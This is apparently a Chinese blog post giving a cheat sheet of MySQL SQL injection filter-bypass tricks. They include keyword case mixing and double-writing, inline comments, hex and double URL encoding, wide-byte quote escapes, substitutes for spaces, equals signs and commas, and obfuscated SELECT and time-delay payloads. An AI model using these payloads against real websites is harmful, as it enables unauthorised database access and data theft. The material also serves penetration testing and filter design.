mysql 注释 绕过_sql注入常见绕过技巧

参考链接:https://blog.csdn.net/huanghelouzi/article/details/82995313

https://www.cnblogs.com/vincy99/p/9642882.html

目录:

大小写绕过

双写绕过

内联注释绕过

编码绕过

<>绕过

注释符绕过

对空格的绕过

对or/and的绕过

对等号=的绕过

对单引号的绕过

对逗号的绕过

过滤函数绕过

拦截select

0x01 大小写绕过

UniOn SeleCt

0x02 双写绕过

ununionion seselectlect

0x03 内联注释绕过

内联注释就是把一些特有的仅在MYSQL上的语句放在 /*!...*/ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。

and /*!select*/ 1,2

0x04 编码绕过

16进制绕过:

select * from users where username =test1;

select* from users where username = 0x7465737431;

对关键字进行两次url全编码:

1+and+1=2

1+%25%36%31%25%36%65%25%36%34+1=2

unicode编码对部分符号的绕过:

单引号=> %u0037 %u02b9

空格=> %u0020 %uff00

左括号=> %u0028 %uff08

右括号=> %u0029 %uff09

0x05 <>绕过

某些网站过滤了“<>”符号才行:

unio<>n sel<>ect

0x06注释符绕过

uni/**/on se/**/lect

0x07对空格的绕过

/**/%20 %09 %00

()

回车(url编码中的%0a)

`(tap键上面的按钮)

tap

两个空格

0x08 对or/and的绕过

and = &&or= ||

0x09 对等号=的绕过

不加通配符的like执行的效果和=一致,所以可以用来绕过;

rlike的用法和上面的like一样,没有通配符效果和=一样;

regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配

<> 等价于 !=  ,所以在前面再加一个!结果就是等号了

?id=1 or 1 like 1

?id=1 or 1 rlike 1

?id=1 or 1 regexp 1

?id=1 or !(1 <> 1)或者1 !(<>) 1

0x10 对单引号的绕过

宽字符

#过滤单引号时

%bf%27 %df%27 %aa%27

使用十六进制

'users'=>0x7573657273

0x11 对逗号的绕过

盲注中使用 from n1 for n2 ,其中n1代表从n1个开始读取n2长度的子串

select substr("string",1,3);

等价于 selectsubstr("string" from 1 for 3);

使用join关键字来绕过

union select 1,2,3等价于 union select* from (select 1)a join (select 2)b join(select 3)c

使用offset关键字:

适用于limit中的逗号被过滤的情况

limit2,1等价于limit 1 offset 2

0x12 过滤函数绕过

sleep() -->benchmark()

and sleep(1)

等价于 and benchmark(1000000000,1)

group_concat()–>concat_ws()

select group_concat("str1","str2");

等价于 select concat_ws(",","str1","str2");

0x13 拦截select

sel<>ect

sele/**/ct

/*!%53eLEct*/

se%0blect

REVERSE(tceles)

%53eLEct

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值